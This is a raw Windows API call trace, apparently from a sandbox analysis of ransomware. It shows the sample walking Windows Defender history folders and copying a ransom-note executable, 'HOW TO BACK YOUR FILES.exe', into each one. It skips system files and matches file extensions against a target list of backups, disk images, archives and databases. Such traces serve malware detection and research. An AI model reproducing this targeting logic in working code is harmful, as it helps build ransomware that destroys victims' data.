	[0079.336] GetLastError () returned 0x0
	[0079.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.336] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.336] CloseHandle (hObject=0x10c) returned 1
	[0079.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.336] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.336] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.336] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.336] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.336] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.336] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.337] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.337] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.337] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.337] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="CACHEM~1")) returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="Apollon865.txt.exe") returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2=".") returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="..") returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="windows") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="bootmgr") returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="temp") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="pagefile.sys") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="boot") returned 1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="ids.txt") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="ntuser.dat") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="perflogs") returned -1
	[0079.337] lstrcmpiW (lpString1="CacheManager", lpString2="MSBuild") returned -1
	[0079.337] lstrlenW (lpString="CacheManager") returned 12
	[0079.337] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*") returned 61
	[0079.337] lstrcpyW (in: lpString1=0x119e680, lpString2="CacheManager" | out: lpString1="CacheManager") returned="CacheManager"
	[0079.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0079.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5c8f30
	[0079.337] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0079.337] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.337] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.337] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="Apollon865.txt.exe") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2=".") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="..") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="windows") returned -1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="bootmgr") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="temp") returned -1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="pagefile.sys") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="boot") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="ids.txt") returned 1
	[0079.337] lstrcmpiW (lpString1="Results", lpString2="ntuser.dat") returned 1
	[0079.338] lstrcmpiW (lpString1="Results", lpString2="perflogs") returned 1
	[0079.338] lstrcmpiW (lpString1="Results", lpString2="MSBuild") returned 1
	[0079.338] lstrlenW (lpString="Results") returned 7
	[0079.338] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 72
	[0079.338] lstrcpyW (in: lpString1=0x119e680, lpString2="Results" | out: lpString1="Results") returned="Results"
	[0079.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0079.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8fb8
	[0079.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0079.338] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="Apollon865.txt.exe") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2=".") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="..") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="windows") returned -1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="bootmgr") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="temp") returned -1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="pagefile.sys") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="boot") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="ids.txt") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="ntuser.dat") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="perflogs") returned 1
	[0079.338] lstrcmpiW (lpString1="Service", lpString2="MSBuild") returned 1
	[0079.338] lstrlenW (lpString="Service") returned 7
	[0079.338] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 67
	[0079.338] lstrcpyW (in: lpString1=0x119e680, lpString2="Service" | out: lpString1="Service") returned="Service"
	[0079.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0079.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0079.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0079.338] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="Apollon865.txt.exe") returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2=".") returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="..") returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="windows") returned -1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="bootmgr") returned 1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="temp") returned -1
	[0079.338] lstrcmpiW (lpString1="Store", lpString2="pagefile.sys") returned 1
	[0079.339] lstrcmpiW (lpString1="Store", lpString2="boot") returned 1
	[0079.339] lstrcmpiW (lpString1="Store", lpString2="ids.txt") returned 1
	[0079.339] lstrcmpiW (lpString1="Store", lpString2="ntuser.dat") returned 1
	[0079.339] lstrcmpiW (lpString1="Store", lpString2="perflogs") returned 1
	[0079.339] lstrcmpiW (lpString1="Store", lpString2="MSBuild") returned 1
	[0079.339] lstrlenW (lpString="Store") returned 5
	[0079.339] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 67
	[0079.339] lstrcpyW (in: lpString1=0x119e680, lpString2="Store" | out: lpString1="Store") returned="Store"
	[0079.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0079.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8e98
	[0079.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fcb0 | out: ListHead=0x5b75f0, ListEntry=0x59fcb0) returned 0x59fc70
	[0079.339] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0
	[0079.339] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.339] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fcb0
	[0079.339] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0079.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0079.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0079.339] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned 65
	[0079.339] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0079.339] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.340] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.340] GetLastError () returned 0x0
	[0079.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.340] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.340] CloseHandle (hObject=0x10c) returned 1
	[0079.340] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.340] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.340] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.340] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.340] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.340] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.340] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.340] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.340] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.340] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.340] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f84de50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.341] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.341] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f84de50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.341] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.341] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0079.341] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0079.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0079.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0079.341] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 67
	[0079.341] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0079.341] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.341] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.341] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.342] GetLastError () returned 0x0
	[0079.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.342] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.342] CloseHandle (hObject=0x10c) returned 1
	[0079.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.342] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.342] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.342] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.342] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.342] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.342] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.342] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.342] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.342] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.342] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7de6c9b0, ftLastWriteTime.dwHighDateTime=0x1d3373d, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History.Log", cAlternateFileName="")) returned 1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2="Apollon865.txt.exe") returned 1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2=".") returned 1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2="..") returned 1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2="windows") returned -1
	[0079.342] lstrcmpiW (lpString1="History.Log", lpString2="bootmgr") returned 1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="temp") returned -1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="pagefile.sys") returned -1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="boot") returned 1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="ids.txt") returned -1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="ntuser.dat") returned -1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="perflogs") returned -1
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2="MSBuild") returned -1
	[0079.343] lstrlenW (lpString="History.Log") returned 11
	[0079.343] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*") returned 69
	[0079.343] lstrcpyW (in: lpString1=0x119e690, lpString2="History.Log" | out: lpString1="History.Log") returned="History.Log"
	[0079.343] lstrlenW (lpString="History.Log") returned 11
	[0079.343] lstrlenW (lpString="Apollon865") returned 10
	[0079.343] lstrcmpiW (lpString1="istory.Log", lpString2="Apollon865") returned 1
	[0079.343] lstrlenW (lpString=".dll") returned 4
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2=".dll") returned 1
	[0079.343] lstrlenW (lpString=".lnk") returned 4
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2=".lnk") returned 1
	[0079.343] lstrlenW (lpString=".ini") returned 4
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2=".ini") returned 1
	[0079.343] lstrlenW (lpString=".sys") returned 4
	[0079.343] lstrcmpiW (lpString1="History.Log", lpString2=".sys") returned 1
	[0079.343] lstrlenW (lpString="History.Log") returned 11
	[0079.343] lstrlenW (lpString="bak") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="bak") returned 1
	[0079.343] lstrlenW (lpString="ba_") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="ba_") returned 1
	[0079.343] lstrlenW (lpString="dbb") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="dbb") returned 1
	[0079.343] lstrlenW (lpString="vmdk") returned 4
	[0079.343] lstrcmpiW (lpString1=".Log", lpString2="vmdk") returned -1
	[0079.343] lstrlenW (lpString="rar") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="rar") returned -1
	[0079.343] lstrlenW (lpString="zip") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="zip") returned -1
	[0079.343] lstrlenW (lpString="tgz") returned 3
	[0079.343] lstrcmpiW (lpString1="Log", lpString2="tgz") returned -1
	[0079.343] lstrlenW (lpString="vbox") returned 4
	[0079.343] lstrcmpiW (lpString1=".Log", lpString2="vbox") returned -1
	[0079.344] lstrlenW (lpString="vdi") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="vdi") returned -1
	[0079.344] lstrlenW (lpString="vhd") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="vhd") returned -1
	[0079.344] lstrlenW (lpString="vhdx") returned 4
	[0079.344] lstrcmpiW (lpString1=".Log", lpString2="vhdx") returned -1
	[0079.344] lstrlenW (lpString="avhd") returned 4
	[0079.344] lstrcmpiW (lpString1=".Log", lpString2="avhd") returned -1
	[0079.344] lstrlenW (lpString="db") returned 2
	[0079.344] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0079.344] lstrlenW (lpString="db2") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="db2") returned 1
	[0079.344] lstrlenW (lpString="db3") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="db3") returned 1
	[0079.344] lstrlenW (lpString="dbf") returned 3
	[0079.344] lstrcmpiW (lpString1="Log", lpString2="dbf") returned 1
